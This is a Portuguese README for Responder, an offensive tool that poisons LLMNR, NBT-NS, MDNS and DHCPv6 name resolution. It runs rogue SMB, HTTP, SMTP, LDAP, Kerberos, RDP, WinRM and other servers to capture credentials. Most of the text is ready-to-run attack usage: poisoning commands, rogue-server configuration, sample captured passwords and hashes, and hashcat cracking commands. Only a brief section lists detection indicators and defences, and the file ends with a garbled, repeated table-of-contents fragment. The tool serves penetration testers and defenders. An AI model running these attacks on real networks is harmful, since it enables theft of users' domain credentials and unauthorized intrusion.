Responder

Responder é um envenenador de LLMNR, NBT-NS e MDNS com servidores de autenticação falsos integrados para HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS e mais. Suporta NTLMv1/NTLMv2/LMv2, NTLMSSP com segurança estendida e vários métodos de autenticação em mais de 15 protocolos.

Índice

Visão Geral
Novidades
Instalação
Início Rápido
Envenenamento de Rede
Servidores Falsos
Configuração
macOS
Resolução de Problemas

Visão Geral

O Responder captura credenciais respondendo a requisições de resolução de nomes LLMNR, NBT-NS e MDNS. Quando um cliente tenta resolver um nome de host inexistente, o Responder responde, direcionando o cliente para a máquina do atacante, onde múltiplos servidores de autenticação falsos capturam as credenciais. Servidores falsos DHCP e DHCPv6 também estão incluídos e podem ser ativados separadamente.

Dados Capturados:

Hashes NetNTLMv1/v2 — Quebráveis com hashcat/john
Hashes Kerberos AS-REQ — Quebra offline (hashcat -m 7500)
Credenciais em texto claro — HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
Challenge-response — CRAM-MD5, DIGEST-MD5

Novidades

Esta versão inclui:

Melhorias no DHCPv6 e DNS

✅ INFORMATION-REQUEST DHCPv6 — Compatibilidade total com Windows 10/11
✅ Filtragem de Domínios — Mire em domínios específicos (DHCPv6 e DNS)
✅ Anúncios de Roteador — Envenenamento de rede IPv6 opcional

Atualizações no Servidor de Email

✅ SMTP STARTTLS — Capture de clientes de email modernos
✅ IMAP STARTTLS — Porta 143 com upgrade TLS
✅ IMAPS — SSL nativo na porta 993
✅ POP3 Aprimorado — Melhor compatibilidade

Melhorias no Kerberos

✅ Forçar AS-REQ — Forçar autenticação kerberos.
✅ Tentar Fallback NTLM — Após capturar a autenticação kerberos, retornar KDC_ERR_ETYPE_NOSUPP

Aprimoramentos de Protocolo

✅ MSSQL — Captura de autenticação do SQL Server
✅ LDAP/LDAPS — Credenciais de serviços de diretório
✅ RDP — Autenticação de Área de Trabalho Remota
✅ WinRM — Gerenciamento Remoto do Windows
✅ DCERPC — Autenticação RPC do Windows

Instalação

Requisitos

Python 2.7 ou Python 3.x
Linux (Ubuntu, Kali, Debian recomendados)
Privilégios de root

Dependências do Sistema```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Instalar Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Verificar Instalação```bash

sudo python3 Responder.py --help

---

## Início Rápido

### Envenenamento Básico```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

Ataque DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### Forçar HTTP Basic Auth```bash
sudo python3 Responder.py -I eth0 -b -v

Habilitar Proxy Auth + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## Envenenamento de Rede

### Envenenamento LLMNR/NBT-NS/MDNS

**Propósito:** Responder a falhas de resolução de nomes

**Como funciona:**
1. Cliente transmite consulta para host inexistente
2. Responder responde: "Sou esse host"
3. Cliente conecta-se ao atacante
4. Credenciais capturadas

**Configuração:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Uso:```bash sudo python3 Responder.py -I eth0 -v

### Servidor DHCPv6

**Propósito:** Forçar clientes a usar o DNS do atacante via IPv6

**Recursos:**
- ✅ Suporte a INFORMATION-REQUEST (Windows 10/11)
- ✅ Suporte a SOLICIT/REQUEST
- ✅ Filtragem de domínio (direcionamento cirúrgico)
- ✅ Anúncio de Roteador (opcional)

**Como funciona:**
1. O Windows envia INFORMATION-REQUEST, SOLICIT, REQUEST via DHCPv6
2. O Responder responde: DNS = IPv6 do atacante
3. O Windows prioriza o DNS IPv6
4. Todas as consultas DNS → atacante
5. Envenenamento DNS → captura de credenciais

**Configuração:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Uso:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**Resultado Esperado:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

Servidores Rogue

O Responder inclui 17+ servidores de autenticação rogue:

Serviços de Arquivo e Rede

Servidor SMB (Portas 445, 139)

Propósito: Capturar hashes NetNTLM de compartilhamentos de arquivos

Funcionalidades:

✅ SMBv1/SMBv2/SMBv3
✅ Captura de hashes NetNTLMv1/v2
✅ Segurança Estendida NTLMSSP
✅ Assinatura de sessão desabilitada (permite relay)

Triggers:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**Formato Capturado:**```
username::domain:challenge:response:blob

Quebra:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**Configuração:**```ini
[Responder Core]
SMB = On

Servidor FTP (Porta 21)

Objetivo: Capturar credenciais FTP em texto claro

Recursos:

✅ Honeypot de login anônimo
✅ Autenticação USER/PASS
✅ Captura de credenciais em texto claro

Gatilhos:```bash ftp attacker-ip

Username: anything

Password: anything

**Formato Capturado:**```
[FTP] Cleartext: username:password

Configuração:```ini [Responder Core] FTP = On

---

### Servidores de Base de Dados

#### Servidor MSSQL (Porta 1433)

**Finalidade:** Capturar autenticação do Microsoft SQL Server

**Funcionalidades:**
- ✅ Autenticação do SQL Server
- ✅ Autenticação do Windows (NTLM)
- ✅ Credenciais SQL em texto claro
- ✅ Captura de hash NetNTLMv2

**Gatilhos:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Formatos Capturados:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**Configuração:**```ini
[Responder Core]
SQL = On

Notas:

Captura tanto autenticação SQL quanto autenticação Windows
Funciona com conexões SSMS, sqlcmd, ADO.NET
Pode capturar credenciais de domínio via autenticação Windows

Servidores de Email

Servidor SMTP (Porta 25, 587)

Propósito: Capturar autenticação de cliente de email

Recursos:

✅ Suporte a STARTTLS (clientes modernos)
✅ AUTH PLAIN (texto claro)
✅ AUTH LOGIN (texto claro)
✅ AUTH CRAM-MD5
✅ AUTH DIGEST-MD5
✅ AUTH NTLM (NetNTLMv2)

Fluxo STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅

**Gatilhos:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

Formatos Capturados:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response

**Configuração:**```ini
[Responder Core]
SMTP = On

Avisos de Certificado: Avisos de certificado autoassinado são normais. Clientes rejeitam na primeira tentativa, tentam novamente e obtêm sucesso. As credenciais ainda são capturadas.

Servidor IMAP (Porta 143)

Propósito: Capturar autenticação IMAP com STARTTLS

Recursos:

✅ Suporte a STARTTLS
✅ Comando LOGIN (texto claro)
✅ AUTHENTICATE PLAIN
✅ AUTHENTICATE LOGIN
✅ AUTHENTICATE NTLM

Fluxo STARTTLS:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅

**Configuração:**```ini
[Responder Core]
IMAP = On

Servidor IMAPS (Porta 993)

Finalidade: IMAP sobre SSL (criptografia nativa)

Recursos:

✅ SSL nativo desde o início da conexão
✅ Todos os métodos de autenticação IMAP
✅ Não é necessário STARTTLS (já está criptografado)

Como difere do IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start

**Configuração:**```ini
[Responder Core]
IMAPS = On

Servidor POP3 (Porta 110)

Propósito: Capturar credenciais de recebimento de e-mail POP3

Recursos:

✅ Autenticação USER/PASS
✅ APOP (desafio MD5)
✅ Captura de credenciais em texto claro

Gatilhos:``` Email client:

Protocol: POP3
Server: attacker-ip
Port: 110

**Formato Capturado:**```
[POP3] USER: username
[POP3] PASS: password

Configuração:```ini [Responder Core] POP = On

---

### Servidores Web

#### Servidor HTTP (Porta 80)

**Finalidade:** Capturar autenticação web

**Características:**
- ✅ Autenticação NTLM (NetNTLMv1/v2)
- ✅ Autenticação básica (texto claro)
- ✅ Autenticação digest (MD5)
- ✅ Injeção WPAD

**Gatilhos:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection

Forçar Autenticação Básica:```bash sudo python3 Responder.py -I eth0 -b

**Formatos Capturados:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash

Configuração:```ini [Responder Core] HTTP = On

---

#### Servidor HTTPS (Porta 443)

**Propósito:** HTTPS com captura de autenticação

**Funcionalidades:**
- ✅ Criptografia SSL/TLS
- ✅ Todos os métodos de autenticação HTTP
- ✅ Certificado autoassinado
- ✅ WPAD sobre HTTPS

**Configuração:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

Diretório e Autenticação

Servidor Kerberos (Porta 88)

Propósito: Capturar hashes AS-REP para cracking offline

Características:

✅ AES256-CTS-HMAC-SHA1-96 (etype 18)
✅ AES128-CTS-HMAC-SHA1-96 (etype 17)
✅ ARCFOUR-HMAC-MD5 (etype 23)

Como funciona:

Cliente envia AS-REQ (solicitação de TGT)
Responder: "Pré-autenticação necessária"
Cliente envia AS-REQ com timestamp criptografado
Responder captura o timestamp criptografado
Realizar cracking offline com hashcat

Cracking:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt

**Configuração:**```ini
[Responder Core]
Kerberos = On

Servidor LDAP (Porta 389)

Propósito: Capturar autenticação de diretório LDAP

Funcionalidades:

✅ Autenticação simples (texto claro)
✅ Autenticação NTLM
✅ Consultas ao Active Directory

Gatilhos:```bash

LDAP query

ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password

Active Directory tools

dsquery user -d attacker-ip

**Formatos Capturados:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuração:```ini [Responder Core] LDAP = On

---

#### Servidor LDAPS (Porta 636)

**Propósito:** LDAP sobre SSL

**Características:**
- ✅ Criptografia SSL/TLS
- ✅ Todos os métodos de autenticação LDAP

**Configuração:**```ini
[Responder Core]
LDAP = On

Acesso Remoto

Servidor RDP (Porta 3389)

Objetivo: Capturar autenticação do Remote Desktop

Recursos:

✅ Autenticação em Nível de Rede (NLA)
✅ Captura de hash NetNTLMv2
✅ Autenticação CredSSP

Gatilhos:``` Remote Desktop Client:

Computer: attacker-ip
Username: anything
Password: anything

**Formato Capturado:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuração:```ini [Responder Core] RDP = On

**Nota:** Captura a autenticação NLA antes da sessão da área de trabalho.

---

#### Servidor WinRM (Portas 5985, 5986)

**Propósito:** Capturar credenciais de gerenciamento remoto do Windows

**Recursos:**
- ✅ HTTP (5985) e HTTPS (5986)
- ✅ Autenticação básica
- ✅ Autenticação NTLM
- ✅ Autenticação Kerberos

**Gatilhos:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }

# WinRM command line
winrm invoke -remote:http://attacker-ip

Formatos Capturados:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob

**Configuração:**```ini
[Responder Core]
WINRM = On

Infraestrutura

Servidor DNS (Porta 53 TCP/UDP)

Propósito: Rogue DNS com filtragem de domínios

Recursos:

✅ Envenenamento de registros A/AAAA
✅ Envenenamento de registros MX (redirecionamento de e-mail)
✅ Registros SOA (parecer autoritativo)
✅ Registros SRV (Kerberos, LDAP)
✅ Registros SVCB/HTTPS (navegadores modernos)
✅ Suporte a EDNS0
✅ Filtragem de domínios

Configuração:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local

**Como funciona:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!

Tipos de Registro Suportados:

A (IPv4) - Redirecionar para atacante
AAAA (IPv6) - Redirecionar para atacante
MX (Correio) - Envenenamento de servidor de e-mail
SRV (Serviços) - Kerberos, LDAP, etc.
SOA (Autoridade) - Aparecer como autoritativo
TXT (Texto) - Registros SPF
SVCB/HTTPS (Ligação de Serviço) - Navegadores modernos

Exemplo de Filtragem de Domínio:``` DHCPv6_Domain = corp.local

mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)

**Configuração:**```ini
[Responder Core]
DNS = On

Servidor DCERPC (Porta 135)

Propósito: Capturar autenticação RPC do Windows

Recursos:

✅ Autenticação NTLM
✅ Enumeração de serviços do Windows
✅ Captura NetNTLMv2

Gatilhos:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access

**Formato Capturado:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuração:```ini [Responder Core] DCERPC = On

---

## Configuração

### Arquivo de Configuração Principal

Edite `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On        # MSSQL (port 1433)
SMB = On        # SMB (ports 445, 139)
RDP = On        # Remote Desktop (port 3389)
Kerberos = On   # Kerberos (port 88)
FTP = On        # FTP (port 21)
POP = On        # POP3 (port 110)
SMTP = On       # SMTP with STARTTLS (port 25/587)
IMAP = On       # IMAP with STARTTLS (port 143)
IMAPS = On      # IMAPS with SSL (port 993)
HTTP = On       # HTTP (port 80)
HTTPS = On      # HTTPS (port 443)
DNS = On        # DNS (port 53)
LDAP = On       # LDAP/LDAPS (ports 389/636)
DCERPC = On     # Windows RPC (port 135)
WINRM = On      # Windows Remote Management (ports 5985/5986)

; === Poisoners ===
LLMNR = On      # Link-Local Multicast Name Resolution
NBTNS = On      # NetBIOS Name Service
MDNS = On       # Multicast DNS
DHCP = Off      # DHCP (IPv4) - use with caution
DHCPv6 = On     # DHCPv6 (IPv6) - use with more caution

; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db

; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

[HTTP Server]
HtmlFilename = files/AccessDenied.html

[DHCPv6 Server]
; Target specific domain 
DHCPv6_Domain = corp.local

; Send Router Advertisements (use with caution)
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Opções de Linha de Comando

Uso Básico```bash

sudo python3 Responder.py [options]

### Required Arguments

| Option | Description |
|--------|-------------|
| `-I eth0, --interface=eth0` | Interface de rede a usar (use 'ALL' para todas as interfaces) |

### Poisoning Options

| Option | Description |
|--------|-------------|
| `-A, --analyze` | Modo de análise - Veja requisições NBT-NS, MDNS, LLMNR sem responder |
| `-w, --wpad` | Iniciar servidor proxy malicioso WPAD (padrão: Desligado) |
| `-F, --ForceWpadAuth` | Forçar autenticação NTLM/Básica na recuperação de wpad.dat (redes antigas)|
| `-P, --ProxyAuth` | Forçar autenticação NTLM/Básica para proxy (altamente eficaz) |

### DHCP/DHCPv6 Options

| Option | Description |
|--------|-------------|
| `-d, --DHCP` | Ativar respostas de broadcast DHCP com injeção de WPAD (IPv4) |
| `-D, --DHCP-DNS` | Injetar servidor DNS na resposta DHCP em vez de WPAD |
| `--dhcpv6` | Ativar envenenamento DHCPv6 (responde a mensagens SOLICIT) |

### IP poisoning Options

| Option | Description |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Envenenar requisições com outro endereço IPv4 |
| `-6 ADDR, --externalip6=ADDR` | Envenenar requisições com outro endereço IPv6 |
| `-i 10.0.0.21, --ip=10.0.0.21` | IP local a usar (apenas macOS) |

### Authentication Options

| Option | Description |
|--------|-------------|
| `-b, --basic` | Retornar autenticação HTTP Básica (padrão: NTLM) |
| `--lm` | Forçar downgrade de hash LM (Windows XP/2003) |
| `--disable-ess` | Forçar downgrade de Segurança Estendida NTLMSSP |

### Advanced Options

| Option | Description |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Proxy HTTP upstream para WPAD malicioso |
| `-t 1e, --ttl=1e` | Alterar TTL do Windows para respostas envenenadas (hex: 30s=1e, ou 'aleatório') |
| `-N NAME, --AnswerName=NAME` | Nome canônico para respostas LLMNR (útil para relay Kerberos) |
| `-E, --ErrorCode` | Retornar STATUS_LOGON_FAILURE (ativa captura de autenticação WebDAV) |

### Output Options

| Option | Description |
|--------|-------------|
| `-v, --verbose` | Aumentar verbosidade (recomendado) |
| `-Q, --quiet` | Modo silencioso - Desativar saída do envenenador |

### Information

| Option | Description |
|--------|-------------|
| `--version` | Mostrar versão do programa e sair |
| `-h, --help` | Mostrar mensagem de ajuda e sair |

---

### Locais de Armazenamento```
Responder.db                    # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt       # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt        # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt      # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt      # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt    # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt       # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt     # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt    # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt        # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt      # WinRM NetNTLMv2 hashes

Consulta ao Banco de Dados```bash

sqlite3 Responder.db

Show tables

.tables

Show all captured hashes

SELECT * FROM hashes;

Export to CSV

.mode csv .output hashes.csv SELECT * FROM hashes; .quit

### Considerações de OpSec

**Indicadores de Deteção:**
- Respostas incomuns de LLMNR/NBT-NS
- Servidor DHCP/DHCPv6 fraudulento
- Solicitações de pré-autenticação Kerberos inválidas
- Certificados SSL autoassinados
- Múltiplas falhas de autenticação
- Respostas DNS suspeitas

**Medidas Defensivas:**
- Desativar MDNS/LLMNR/NBT-NS via GPO
- Ativar DHCP snooping no switch
- Ativar proteção RA IPv6
- Ativar proteção DHCPv6
- Monitorar servidores DHCPv6 fraudulentos

---

## macOS

O Responder funciona no macOS, mas requer a flag `-i` para especificar seu endereço IP local. O macOS não suporta a opção de socket `SO_BINDTODEVICE` usada no Linux para vinculação de interface.

### Usando o Script Inicializador

O `macOS_Launcher.sh` incluso lida automaticamente com conflitos de serviço:```bash
sudo ./macOS_Launcher.sh -I en0

O lançador irá:

Detectar automaticamente seu IP a partir da interface (ou use -i para substituir)
Verificar o status do SIP e relatar limitações
Parar serviços conflitantes do macOS (Kerberos, mDNSResponder, SMB, NetBIOS) se o SIP estiver desabilitado
Relatar conflitos de porta se o SIP estiver habilitado
Restaurar todos os serviços parados quando o Responder sair (incluindo ao pressionar Ctrl+C)

Executando Diretamente```bash

Find your IP

ipconfig getifaddr en0

Run with explicit IP

sudo python3 Responder.py -I en0 -i 192.168.1.100

### Proteção de Integridade do Sistema (SIP)

Com o SIP ativado (padrão), o macOS impede a parada de serviços do sistema que vinculam-se às portas que o Responder precisa. Você tem três opções:

1. **Use o script de inicialização** — ele reportará conflitos e continuará com o que está disponível
2. **Desative módulos conflitantes** em `Responder.conf` (p.ex., `SMB = Off`, `DNS = Off`)
3. **Desative o SIP** para funcionalidade completa (veja a [documentação da Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))

---

## Solução de Problemas

### Problemas Comuns

**Permissão Negada:**```bash
sudo python3 Responder.py -I eth0

Interface Não Encontrada:```bash ip link show sudo python3 Responder.py -I wlan0

**Porta já em uso:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd

DHCPv6 Não Funciona:```bash

Enable IPv6

sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0

Verify

sysctl net.ipv6.conf.all.disable_ipv6

**Nenhum Hash Capturado:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v

# Check firewall
sudo iptables -L

# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389

Modo de Depuração```bash

Very verbose output

sudo python3 Responder.py -I eth0 -vv

Tail logs

tail -f logs/Responder-Session.log

Network monitoring

sudo tcpdump -i eth0 -w responder-capture.pcap

## Créditos

**Autor:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Website: https://secorizon.com/
- Twitter: @secorizon

---

## Doação
Você pode contribuir com este projeto doando para o seguinte endereço USDT ou Bitcoin:

USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A

BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

Paypal:

https://paypal.me/PythonResponder

---

## Agradecimentos
O desenvolvimento do Late Responder foi possível graças às doações recebidas de indivíduos e empresas.

Gostaríamos de agradecer aos principais patrocinadores:

SecureWorks: https://www.secureworks.com/

Synacktiv: https://www.synacktiv.com/

Black Hills Information Security: http://www.blackhillsinfosec.com/

TrustedSec: https://www.trustedsec.com/

Red Siege Information Security: https://www.redsiege.com/

Open-Sec: http://www.open-sec.com/

E a todos, TODOS os pentesters ao redor do mundo que doaram para este projeto.

Obrigado.

Mais Populares

Responder

Responder

Índice

Visão Geral

Novidades

Melhorias no DHCPv6 e DNS

Atualizações no Servidor de Email

Melhorias no Kerberos

Aprimoramentos de Protocolo

Instalação

Requisitos

Dependências do Sistema```bash

Verificar Instalação```bash

Ataque DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

Habilitar Proxy Auth + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

Servidores Rogue

Serviços de Arquivo e Rede

Servidor SMB (Portas 445, 139)

UNC paths

NET USE commands

Windows Explorer address bar

Servidor FTP (Porta 21)

Username: anything

Password: anything

Servidores de Email

Servidor SMTP (Porta 25, 587)

Servidor IMAP (Porta 143)

Servidor IMAPS (Porta 993)

Servidor POP3 (Porta 110)

Diretório e Autenticação

Servidor Kerberos (Porta 88)

Servidor LDAP (Porta 389)

LDAP query

Active Directory tools

Acesso Remoto

Servidor RDP (Porta 3389)

Infraestrutura

Servidor DNS (Porta 53 TCP/UDP)

Servidor DCERPC (Porta 135)

Opções de Linha de Comando

Uso Básico```bash

Consulta ao Banco de Dados```bash

Show tables

Show all captured hashes

Export to CSV

Executando Diretamente```bash

Find your IP

Run with explicit IP

Enable IPv6

Verify

Modo de Depuração```bash

Very verbose output

Tail logs

Network monitoring